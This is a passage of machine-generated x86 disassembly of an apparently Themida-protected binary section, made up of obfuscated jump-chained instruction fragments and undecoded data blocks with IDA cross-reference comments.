		dd 312DFCB9h, 0FCC18125h, 0E9758229h, 8DDDh
; ---------------------------------------------------------------------------


loc_554610:				; CODE XREF: Themida_:0055FB60j
		pop	edx
		jmp	loc_559DEF
; ---------------------------------------------------------------------------


loc_554616:				; CODE XREF: Themida_:00556169j
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	48D8h
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 17C327FFh
		and	edi, 0E261309h
		sub	edi, 7D8C0019h
		jmp	loc_55378A
; ---------------------------------------------------------------------------
		db 5Dh
		dd 91D1F791h, 0EE36D42Dh, 35D8F71Ah, 0B509EA90h, 5258C701h
		dd 48B668h, 24048900h, 0C6579FB8h, 5D0F749h, 49C657A2h
		dd 24348150h, 5E4B1DC2h, 0FFF73CE9h, 24148BFFh,	70C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_554681:				; CODE XREF: Themida_:0055C0CBj
		sub	eax, ecx
		pop	ecx
		add	ecx, eax
		pop	eax
		jmp	loc_55ACDA
; ---------------------------------------------------------------------------
		dd 8104E1C1h, 9562DFC1h, 0E9CB8920h, 0AA7Eh, 2CDECE81h
		dd 0D4E97CAAh, 68FFFFF4h, 3859h, 0BD242C89h, 4,	0E95DEB29h
		dd 0CC2h, 15FFD89h, 0C875DE9h, 24248B24h, 582434FFh, 236468h
		dd 24348900h, 0BB53E689h, 0B257D9Dh, 60768h, 241C8900h
		dd 5B2414F7h, 0E901EB83h, 1D2Bh, 0EC7804BFh, 0F7CF872Ah
		dd 81CF87D1h, 0ED7F46CFh, 0A176E912h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554706:				; CODE XREF: Themida_:00558FCCj
		mov	[esp], ebx
		jmp	loc_555531
; ---------------------------------------------------------------------------
		dw 2489h
		dd 1FDB6824h, 1C890000h, 4BB24h, 53E90000h, 0F700002Ah
		dd 8EE92414h
		db 0B4h, 2 dup(0)
byte_55472B	db 0ACh			; DATA XREF: Themida_:0055341Co
		dd 9E04492Ch, 9E2CD800h, 0B4506652h, 0FFC480FAh, 0EC80ECD0h
		dd 0B173E9FBh
		db 2 dup(0)
word_554746	dw 34FFh		; DATA XREF: Themida_:00553284o
aYhys		db '$YhYs',0
		dw 8900h
		dd 0E189240Ch, 0F6E95350h, 590000A1h, 2474FF56h, 48F5E04h
		dd 0AA685C24h, 89000060h, 0E9522404h, 22A2h, 66C0B60Fh
		dd 0E987048Fh, 0FFFFED9Fh
dword_554780	dd 24048B66h, 13E7E955h, 0E9570000h, 933Eh ; DATA XREF:	Themida_:00553390o
dword_554790	dd 24048B66h, 57CB68h, 243C8900h, 0AE9E789h, 0FFFFFFF1h
					; DATA XREF: Themida_:005534BCo
		dd 5B042474h, 0E924048Fh, 265Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_5551CB
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 33243C31h, 0FF5C243Ch, 48B2434h, 0E2895224h,	4C281h
		dd 0C2830000h, 6835E904h, 0EAB10000h, 8002E9C0h, 0E98047E9h
		dd 80D1F6FCh, 94E96BE1h, 810000A3h, 5309FAC3h, 3EBE560Ah
		dd 0D12FA868h, 0B8CE81EEh, 87324912h, 87D1F7CEh, 0ACAAE9CEh
		dd 0AF040000h, 0C3800234h, 80C300B5h, 51E9B5EBh, 5E00004Ch
		dd 203FA01h, 5A2434FFh,	696A68h, 24148900h, 66CE9h, 48F5F00h
		dd 8B665C24h, 0A6682404h, 89000072h, 0EC832434h, 24248904h
		dd 4240483h, 4C6815Eh, 0E9000000h, 40C8h
; ---------------------------------------------------------------------------


loc_55485C:				; CODE XREF: Themida_:0055F36Bj
		shl	ebx, 8
		dec	ebx
		jmp	loc_55C72B
; ---------------------------------------------------------------------------
		db 87h,	0D7h, 0E9h
		dd 1Eh,	148BD089h, 4C48324h, 4244401h, 582434FFh, 0E904C483h
		dd 0FFFFEC9Bh, 8A1DE95Eh, 680000h, 29000000h, 3C8B243Ch
		dd 4C48124h, 0E9000000h, 9EB1h,	4C381h,	16E90000h, 81000060h
		dd 0D9482DE3h, 27ACE91Ch, 0EB810000h, 0ADD7B96h, 0C381FB01h
		dd 0ADD7B96h, 55ABEB81h, 33FF2A26h, 0F52BA52h, 543176BFh
		dd 0E95A0424h, 7F55h
; ---------------------------------------------------------------------------


loc_5548DC:				; CODE XREF: Themida_:0055A607j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55702F
; ---------------------------------------------------------------------------


loc_5548EB:				; CODE XREF: Themida_:0055F591j
		dec	edx
		xor	edx, 584F0E3h
		add	ebx, 0F4B12A1h
		jmp	loc_559469
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0C3h
		dd 89FDBBD4h, 263E9D7h,	0E9830000h, 240C8704h, 0A76CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554916:				; CODE XREF: Themida_:00553CC1j
		xor	ebx, esi
		jmp	loc_553EF3
; ---------------------------------------------------------------------------
aRsO		db 'Ré,Ž',0
		db 0
; ---------------------------------------------------------------------------


loc_554923:				; CODE XREF: Themida_:00554AA9j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_55DCE1
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 66241489h, 0E0E99C50h, 8BFFFFEBh, 8B662424h,	9F682404h
		dd 89000066h, 6568243Ch, 89000050h, 0F0E92424h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55495B:				; CODE XREF: Themida_:0055C6CEj
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	ebp
		mov	ebp, esp
		jmp	loc_55C162
; ---------------------------------------------------------------------------
		dw 0B0E9h
		dd 4FFFFEBh, 0E9F028C7h, 7F46h
dword_554978	dd 240C8B66h, 0FFF429E9h, 4BF57FFh, 1000000h, 5F04247Ch
					; DATA XREF: Themida_:0055333Co
		dd 4C7815Fh, 50000000h,	4B8h, 58C70100h, 31243C33h, 5EE9243Ch
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5549A7:				; CODE XREF: Themida_:0055979Ej
		mov	ecx, [esp]
		jmp	loc_55A9B6
; ---------------------------------------------------------------------------


loc_5549AF:				; CODE XREF: Themida_:0055CE34j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 296C7ECCh
		jmp	loc_5555A7
; ---------------------------------------------------------------------------
		db 2Dh
		dd 356C46BEh, 2A5C2205h, 73012D58h, 0D8297EE1h,	119868h
		dd 240C8900h, 0E17301B9h, 8BC8017Eh, 0E953240Ch, 0AB2Ch
		dd 4B50E959h, 0D8000000h, 252C2404h, 8B0AE9h, 56F18100h
		dd 0E9149519h, 4BA4h, 0FFEB12E9h
		db 0FFh
byte_554A0D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055325Co
		dd offset dword_4CF5F4+3BF5h
		db 0
byte_554A15	db 68h,	8Bh, 1Bh	; DATA XREF: Themida_:0055324Co
		dd 1C890000h, 3A68E924h, 0C1800000h, 0E5E98086h, 4ABE9h
		db 0
byte_554A2D	db 0ACh, 83h, 0ECh	; DATA XREF: Themida_:005534C4o
		dd 240C8904h, 527CB652h, 0D2F6B3B2h, 15F4E9h
		db 0
byte_554A41	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00553384o
		dd 0EC835124h, 24248904h, 4240481h, 0FF000000h,	83592434h
		dd 48904ECh, 5E08924h, 4, 64A9E9h, 0E9525100h, 26C4h, 0E905E2C0h
		dd 18B2h
dword_554A78	dd 9D1C77FFh, 14D25966h, 0ADE99C24h, 2800008Bh,	39EB80E3h
					; DATA XREF: Themida_:005532F8o
		dd 582434FFh, 92B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_554A95:				; CODE XREF: Themida_:0055D1AEj
		push	edx
		mov	edx, 1B455BF8h
		jmp	loc_5575F0
; ---------------------------------------------------------------------------


loc_554AA0:				; CODE XREF: Themida_:0055D78Dj
		pop	esp
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_554923
; ---------------------------------------------------------------------------
		dw 504Ah
		dd 4169D6B8h, 58C23166h, 37FBE9h, 23BB6600h, 0F381660Bh
		dd 816646A3h, 0E9288FEBh, 40C4h
; ---------------------------------------------------------------------------


loc_554AD0:				; CODE XREF: Themida_:0055B6EBj
		pop	dword ptr [esp]
		jmp	loc_55E035
; ---------------------------------------------------------------------------
		dd 8B241433h, 0D3662424h, 0E99C2424h, 0FFFFEA37h, 5C243C87h
		dd 6332E955h, 0E9590000h, 0FFFFEE68h, 2EE9F204h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554AFF:				; CODE XREF: Themida_:0055B0DFj
		xor	ebp, 4AA96FB4h
		mov	eax, ebp
		jmp	loc_55B9C7
; ---------------------------------------------------------------------------
		dd 5C243C33h, 6853F1F7h, 0AD5h,	2BF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B1D:				; CODE XREF: Themida_:0055C0E3j
		mov	[esp], edx
		jmp	loc_557161
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 17E5E9h, 0E9EDE900h,	0FE29FFFFh, 81243C8Bh, 4C4h, 14346800h
		dd 34890000h, 348B5A24h, 4C48324h, 840FC90Bh, 1008h, 815B5453h
		dd 4C3h, 4EB8300h, 2A0968h, 241C8900h, 7470E9h,	0EF815A00h
		dd 0E2F34A4h, 0E9D0F797h, 0FFFFFA15h
; ---------------------------------------------------------------------------


loc_554B7C:				; CODE XREF: Themida_:0055CD0Dj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_555B98
; ---------------------------------------------------------------------------
aFqss		db 'fQéé#',0
		align 2
		dw 0EA81h
		dd 2E3E36C2h, 1307CA81h, 6EE957CFh, 50000052h, 0DC3C75B8h
		dd 0FC47B973h, 0C1014FA4h, 8BCA2958h, 0C481240Ch, 4, 148BD031h
		dd 4C48324h, 5D02E9h, 0DF015800h, 0C28BA52h, 0D72967E7h
		dd 5FB5E9h, 9EB95100h, 8117EF44h, 0D52ECC1h, 82E18172h
		dd 817CC61Ah, 0BC2335E1h, 4F18165h, 1008402h, 40559C8h
		dd 87000000h, 815C2404h, 4C3h, 4C38100h, 33000000h, 0BE9241Ch
		dd 5600000Dh, 0C6815E54h, 4, 8F08E953h,	0E9500000h, 5FC8h
		dd 31240433h, 0B0E92404h, 66000009h, 5B3535Bh, 8004E3C0h
		dd 6EE96CC3h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C5B:				; CODE XREF: Themida_:0055D36Bj
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_559B90
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFE897h, 24448166h, 66523502h, 2244C01h, 246C8166h
		dd 66523502h, 6B02E953h, 0F660000h, 41E9C8B6h, 5B000013h
		dd 4EC81h, 14890000h, 0F6ABB224h, 2FCA80D2h, 80A9C280h
		dd 0C280BDEAh, 8BD300C3h, 26E92414h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_554CCF:				; CODE XREF: Themida_:0055B98Bj
		not	ecx
		and	ecx, 28617C9Dh
		add	ecx, 3EB7CC2Fh
		jmp	loc_555CC9
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h
		db 0F7h, 0E1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_55E6EC
; ---------------------------------------------------------------------------
		db 81h
		dd 8163B0C6h, 34335B25h, 24343124h, 8B243433h, 2C812424h
		dd 0C6158D24h, 7200680Ch, 0C890000h, 2BD6824h, 0E9591CACh
		dd 0FFFFF85Dh, 0E388BFB4h, 8F42E9h
		db 0
; ---------------------------------------------------------------------------


loc_554D29:				; CODE XREF: Themida_:00558FF2j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	7FEBh
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_55A470
; ---------------------------------------------------------------------------
		db 0B9h
		dd 6AB11B86h, 0E181D9F7h, 5B8C51EFh, 7B19E981h,	57553404h
		dd 7F1A3768h, 2DBAE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554D6A:				; CODE XREF: Themida_:0055CB8Fj
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55FB38
; ---------------------------------------------------------------------------
		dd 81240429h, 0F062404h, 4812E90h, 966F4524h, 0E789E91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D96:				; CODE XREF: Themida_:0055679Cj
		xor	eax, 4FA76B07h
		add	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 2F4E0C72h
		or	ebp, 5DE67DCh
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 167C1EDEh
		xor	ebp, 39A27125h
		add	edi, 17ED4256h
		jmp	loc_55F1B0
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 0E9F00100h, 7B01h, 4C481h, 4A680000h, 8900005Ah
		dd 2BF243Ch, 1000000h, 14335FFAh, 24143124h, 0FFFCE3E9h
		dd 4C481FFh, 28000000h,	2EEB80C3h, 0D8005866h, 83241C8Bh
		dd 4E6804C4h, 8900005Dh, 0D4B1240Ch, 7E9D9F6h, 59FFFFFCh
		dd 6ABCA81h, 0F2816F40h, 7FEC2FAFh, 7D17E9h
		db 0
byte_554E2D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005532A4o
		dd 8B2434FFh, 0C4832414h, 4C48304h, 437168h, 242C8900h
		dd 0ACB8E9h, 19C7BF00h,	0BB537360h, 43745012h, 0F75BDF21h
		dd 0E94F47D7h, 7C95h, 7254BB8h,	58C13112h, 96EDE9h, 665D6600h
		dd 7FE3C681h, 5E6C166h,	4CCAE9h, 0E69DE900h, 0EC83FFFFh
		dd 240C8904h, 12C368h, 243C8900h, 0FC8B951h, 0C7E926CCh
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554E9B:				; CODE XREF: Themida_:0055A81Cj
		pop	esp
		jmp	loc_55F9D2
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 68h
		dd 3018h, 0BB241C89h, 4, 3B4FC281h, 0DA01379Eh,	3B4FEA81h
		dd 815B379Eh, 4C2h, 4EEE900h, 54560000h, 4B46E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554ED2:				; CODE XREF: Themida_:005543C0j
		pop	ecx
		jmp	loc_559A28
; ---------------------------------------------------------------------------
		dd 68FFE980h, 89h, 66240C89h, 0F7885350h, 1C8BFC88h, 4C48124h
		dd 8A000000h, 88022474h, 66022464h, 50D6F658h, 748AF488h
		dd 74E90424h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_554F0B:				; CODE XREF: Themida_:0055856Cj
		mov	al, 3Fh
		sub	al, 0DAh
		shl	al, 8
		inc	al
		add	al, 0
		add	dh, al
		pop	eax
		and	dh, 1Eh
		push	eax
		mov	al, 4Ch
		neg	al
		sub	al, 8Ah
		or	al, 63h
		dec	al
		xor	al, 23h
		xor	dh, al
		pop	eax
		sub	al, dh
		pop	edx
		push	eax
		push	3FEBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		mov	esi, 77F1355Bh
		shl	esi, 7
		add	esi, 5FCA2BC5h
		push	4DF7h
		mov	[esp], edx
		mov	edx, 5864D941h
		xor	esi, edx
		jmp	loc_556B8D
; ---------------------------------------------------------------------------
		db 8Bh
dword_554F64	dd 0C4812414h, 4, 8304E2C1h, 0C28101C2h, 0FFFFFFFFh, 4674BE56h
					; DATA XREF: Themida_:off_5684A6o
		dd 0B0E98792h, 0BF000035h, 1FFF6264h, 15FFE29h,	64C681D6h
		dd 8B1FFF62h, 89502414h, 9C35E9E0h, 17350000h, 89C6341Ah
		dd 0DEF758C6h, 7CE5C681h, 0EA815055h, 7F590390h, 4C09C281h
		dd 0F2292A8Fh, 4C09EA81h, 0C2E92A8Fh, 59000000h, 2209E95Fh
		dd 4810000h, 424h, 56505B00h, 4E2D80BEh, 2DE95669h, 0BF000063h
		dd 4, 45A3EE81h, 79E92C57h, 5B000061h, 5854BF57h, 0C0E92339h
		dd 540000A3h, 4C18159h,	81000000h, 4E9h, 0E7E8E900h, 0F330FFFFh
		dd 232DE9h, 51B8BF00h, 0EFC13797h, 0B4F78105h, 0E9DB770Dh
		dd 0FD1h, 2F67E958h, 0EC200000h, 8C48059h, 0E9CDEC80h
		dd 5846h, 273BF781h, 30E90E51h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55504B:				; CODE XREF: Themida_:0055ECA5j
		push	62D6h
		mov	[esp], esp
		jmp	loc_55CD02
; ---------------------------------------------------------------------------
		dd 104C483h, 87B0E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555062:				; CODE XREF: Themida_:0055362Dj
		mov	edi, 2D622528h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		inc	edi
		dec	edi
		sub	edi, 0FFFFFFFFh
		add	edi, 1
		add	edi, 940226A2h
		mov	ecx, edi
		pop	edi
		jmp	loc_55F842
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 90h
		dd 17F5903h, 348B5DEAh,	4C48124h, 0E9000000h, 0FFFFE47Fh
; ---------------------------------------------------------------------------


loc_5550A0:				; CODE XREF: Themida_:00555B6Cj
		push	esi
		push	761C19B0h
		pop	esi
		or	esi, 59AC2363h
		jmp	loc_55F46D
; ---------------------------------------------------------------------------
		dw 9525h
		dd 0D5F301Bh, 7C1347Bh,	0FFF1DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5550C1:				; CODE XREF: Themida_:0055BCFEj
		mov	eax, 25486A49h
		not	eax
		or	eax, 7515176h
		add	eax, 7BE20B7Dh
		jmp	loc_55BFF8
; ---------------------------------------------------------------------------
byte_5550D7	db 66h			; DATA XREF: Themida_:00553278o
		dd 66240431h, 66240433h, 83240431h, 896602ECh, 52662404h
		dd 2474FF66h, 665A6602h, 6624048Fh, 4876652h, 66936624h
		dd 0CEE9D3F7h, 4AFFFFF4h, 7212E9h, 59CF8900h, 55EAE9h
		dd 241C8700h, 0E9E8215Ch, 4F3Ah
; ---------------------------------------------------------------------------


loc_555120:				; CODE XREF: Themida_:00559B08j
		xor	eax, edi
		xor	edi, eax
		shl	edi, 8
		xor	edi, 3D0D2E00h
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_55F16B
; ---------------------------------------------------------------------------
		db 1
		dd 30ED81FDh, 5F657321h, 371D68h, 241C8900h, 2BBh, 5BDD0100h
		dd 2919E957h, 0EE890000h, 2025E95Dh, 0C7810000h, 4, 0E904C783h
		dd 1719h, 0C981D1F7h, 2B3938C7h, 0FCEBE981h, 0ACE9FFFFh
		dd 8800009Ch, 58042464h, 3C37E959h
		db 2 dup(0)
word_55518A	dw 0C8Bh		; DATA XREF: Themida_:005533A4o
		dd 7FE95524h, 0FF000072h, 835F2434h, 0E18104C4h, 1F937B3Dh
		dd 66EDE9h, 0EAC15A00h,	29C28107h, 817C8D6Ch, 0C27F94C2h
		dd 0E9D189B5h, 6B7Ch
; ---------------------------------------------------------------------------


loc_5551BC:				; CODE XREF: Themida_:0055CB81j
		sub	dword ptr [esp], 49A0615Eh
		mov	eax, [esp]
		jmp	loc_55598B
; ---------------------------------------------------------------------------


loc_5551CB:				; CODE XREF: Themida_:005547B4j
		mov	esi, 20011E8Ch
		dec	esi
		add	esi, 0DFFEE179h
		add	ebp, 2724257Dh
		add	ebp, esi
		sub	ebp, 2724257Dh
		pop	esi
		push	esi
		push	eax
		push	ecx
		mov	ecx, 10A31163h
		xor	ecx, 19B3799Ch
		mov	eax, ecx
		pop	ecx
		mov	esi, 7D276D2Ah
		jmp	loc_556C4E
; ---------------------------------------------------------------------------
		db 0FFh, 30h, 0E9h
		dd 0FFFFE317h, 33242C31h, 248B242Ch, 68E9F724h,	3D3Bh
		dd 54242C89h, 4BE565Dh,	81000000h, 77773EEDh, 81F5014Ah
		dd 77773EC5h, 24348B4Ah, 242A68h, 14AEE900h, 53660000h
		dd 3DE9B0B7h, 0BB000054h, 4, 0FFE9h, 24048700h,	824248Bh
		dd 0E99C2404h, 0FFFFE2BFh, 0C681E689h, 4, 48E7E9h, 58C13100h
		dd 536CD305h, 172BE946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55527A:				; CODE XREF: Themida_:0055BBA7j
		mov	bl, 0F8h
		mov	al, 0D8h
		jmp	loc_55E3D5
; ---------------------------------------------------------------------------
		db 51h
		dd 0CB895952h, 592434FFh, 0E9E18951h, 30FCh
; ---------------------------------------------------------------------------


loc_555294:				; CODE XREF: Themida_:0055981Aj
		push	edx
		push	edi
		push	8143DFh
		pop	edi
		jmp	loc_556D66
; ---------------------------------------------------------------------------


loc_5552A1:				; CODE XREF: Themida_:0055E64Ej
		sub	ecx, 312536B2h
		shr	ecx, 3
		add	ecx, 67F41474h
		push	ebp
		mov	ebp, 713C4B23h
		inc	ebp
		not	ebp
		or	ebp, 583D379Bh
		or	ebp, 11D42E76h
		jmp	loc_559EBE
; ---------------------------------------------------------------------------
		dw 1489h
		dd 13BE5624h, 0C152A94Ch, 0D6E906EEh, 30000029h, 0E99C2404h
		dd 0FFFFE23Bh
; ---------------------------------------------------------------------------


loc_5552E4:				; CODE XREF: Themida_:00553D26j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_556839
; ---------------------------------------------------------------------------
aASI		db '€Ã',9,'é',0Bh,'i',0
		db 0
; ---------------------------------------------------------------------------


loc_5552FD:				; CODE XREF: Themida_:0055BF87j
		push	5EFAh
		mov	[esp], ebx
		mov	ebx, 340F3BABh
		push	esi
		mov	esi, 1A543B1h
		shr	esi, 7
		or	esi, 6C143EFAh
		push	eax
		mov	eax, offset byte_5B067F
		xor	esi, eax
		pop	eax
		or	ebx, esi
		pop	esi
		inc	ebx
		inc	ebx
		push	eax
		mov	eax, 3BAF23DEh
		sub	eax, 0BDAA1026h
		add	ebx, eax
		pop	eax
		push	edx
		mov	edx, 74B9294Bh
		or	edx, 6E640196h
		shr	edx, 3
		jmp	loc_557CDC
; ---------------------------------------------------------------------------


loc_555349:				; CODE XREF: Themida_:0055765Dj
		mov	dh, 4Ah
		jmp	loc_55643C
; ---------------------------------------------------------------------------
		dd 685BD901h, 3FCAh, 0FFEF68E9h, 0DE8852FFh, 0DEE9D6F6h
		dd 2D000061h, 77B779D3h, 220F5505h, 2DF82900h, 220F55h
		dd 6570E955h, 1C870000h, 24248B24h, 54243489h, 8750E95Eh
		dd 0EF810000h, 665B788Bh, 37ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_555399:				; CODE XREF: Themida_:0055DC66j
		add	esp, 4
		push	eax
		jmp	loc_558204
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 1BC681C6h, 580C1A6Dh, 5C243487h, 0E99CC138h,	0FFFFE167h
		dd 8B241487h, 0A3682424h, 89000000h, 54E92404h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553CB:				; CODE XREF: Themida_:0055A5C3j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0F213F485h
		jmp	loc_557E31
; ---------------------------------------------------------------------------


loc_5553DB:				; CODE XREF: Themida_:00556556j
		sub	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, ecx
		mov	eax, ebx
		pop	ebx
		pop	ecx
		jmp	loc_5597C1
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 2467E9h, 0FAEB8000h, 2814EE80h, 14C680DEh, 81241C8Bh
		dd 4C4h, 5AF30000h, 0E941EB80h,	1960h, 0C922CBBFh, 81DFF754h
		dd 188614EFh, 220CE979h, 0C6010000h, 4EC8158h, 89000000h
		dd 2C812434h, 473CD724h, 2434FF74h, 4C4815Fh, 68000000h
		dd 7283h, 0FFFE7DE9h, 2C281FFh,	33000000h, 0AFE92414h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55545B:				; CODE XREF: Themida_:0055DBA6j
		pop	esp
		push	esi
		push	3D1Ch
		mov	[esp], esp
		jmp	loc_557F1F
; ---------------------------------------------------------------------------
aBuwaskseb	db 'îwaské¥',0
		dd 2C28300h, 470E9h, 4C48100h, 68000000h, 1ECEh, 68243C89h
		dd 30F5h, 81242489h, 42404h, 815F0000h,	4C7h, 4C78300h
		dd 5C243C87h, 4CCEE9h, 4C18300h, 5C240C87h, 0E904EC83h
		dd 8475h
; ---------------------------------------------------------------------------


loc_5554BC:				; CODE XREF: Themida_:00554133j
		pop	eax
		push	edx
		jmp	loc_55EE15
; ---------------------------------------------------------------------------


loc_5554C3:				; CODE XREF: Themida_:00558608j
		push	eax
		mov	al, 0F3h
		jmp	loc_558804
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5201ED80h, 0C2802FB2h, 5AD52016h, 5203E5C0h,	0EE8068B6h
		dd 0E1EE8001h, 662BF680h, 2C29E951h, 0C2810000h, 4, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 8F8Dh, 3FE9CE28h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555513:				; CODE XREF: Themida_:0055D127j
		xor	dword ptr [esp], 96F4C55h
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55A427
; ---------------------------------------------------------------------------
aASK		db 'Àí',8,'éËŠ',0
		db 0
; ---------------------------------------------------------------------------


loc_555531:				; CODE XREF: Themida_:00554709j
		push	ebp
		jmp	loc_558791
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 0E9C33104h, 27EFh
; ---------------------------------------------------------------------------


loc_555544:				; CODE XREF: Themida_:0055CC2Bj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55C369
; ---------------------------------------------------------------------------


loc_555551:				; CODE XREF: Themida_:0055C31Aj
		push	esp
		pop	edx
		jmp	loc_55C847
; ---------------------------------------------------------------------------


loc_555558:				; CODE XREF: Themida_:0055AEA7j
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 7FEA3F55h
		push	ebp
		mov	ebp, 7FEA3F51h
		sub	ecx, ebp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dd 3902BD55h, 73BB64D7h, 1FC7D38h, 9BE95DEBh, 58000077h
		dd 0B551585Ah, 0FF9BE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55558E:				; CODE XREF: Themida_:0055BE4Dj
		add	esp, 4
		and	eax, ecx
		pop	ecx
		jmp	loc_55F995
; ---------------------------------------------------------------------------


loc_555599:				; CODE XREF: Themida_:0055DC98j
		inc	ebp
		xor	ebp, 5E9E711Fh
		xor	edx, ebp
		jmp	loc_55EEA2
; ---------------------------------------------------------------------------


loc_5555A7:				; CODE XREF: Themida_:005549BEj
		add	edx, esi
		sub	edx, 296C7ECCh
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55899E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5D042474h, 8B24048Fh, 8B662424h, 0E9562404h,	89E8h
		dd 3B31E95Bh, 0F7890000h, 0E92434FFh, 965Dh
; ---------------------------------------------------------------------------


loc_5555E0:				; CODE XREF: Themida_:0055C550j
		push	ebp
		jmp	loc_55C454
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 2FE90E26h, 0BB53D2F7h, 3C834709h, 0F8E9DA01h, 33FFFFF9h
		dd 665C2404h, 9C2404D3h, 0FFDF16E9h, 0E6CD80FFh, 88FEC580h
		dd 0E72059ECh, 39C78058h, 1C8BFD88h, 4C48124h, 30000000h
		dd 815966E8h, 4ECh, 0A83E900h, 5E660000h, 91F68166h, 0E9586671h
		dd 0FFFFE42Ah
; ---------------------------------------------------------------------------


loc_555640:				; CODE XREF: Themida_:0055BD99j
		add	eax, 243A0F4Fh
		sub	eax, 36456E8Ch
		jmp	loc_553E74
; ---------------------------------------------------------------------------
		db 89h
		dd 0F3E9243Ch, 80FFFFE2h, 506651EBh, 0EB80DBB0h, 80C328B6h
		dd 5866B6C3h, 80AEC380h, 8DE913EBh, 89FFFFE2h, 12BE2434h
		dd 0BB11B913h, 22B2B05Ah, 6792C381h, 0BE562F22h, 9DC38EDh
		dd 0EE81DEF7h, 229E5834h, 4185E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55569A:				; CODE XREF: Themida_:0055F2E8j
		add	bl, 0DCh
		jmp	loc_557656
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 6EE95B24h
		db 0Eh,	2 dup(0)
aMsgu		db '¬ég“',0             ; DATA XREF: Themida_:005533E4o
		db 0
; ---------------------------------------------------------------------------


loc_5556B1:				; CODE XREF: Themida_:00559A57j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	edx
		push	ecx
		mov	ecx, 4
		push	ecx
		jmp	loc_555AD9
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89240C89h, 4C181E1h,	83000000h, 50E904C1h, 5E00004Bh
		dd 864CE9h, 71FDB900h, 0A0E92640h
		db 9Bh,	2 dup(0)
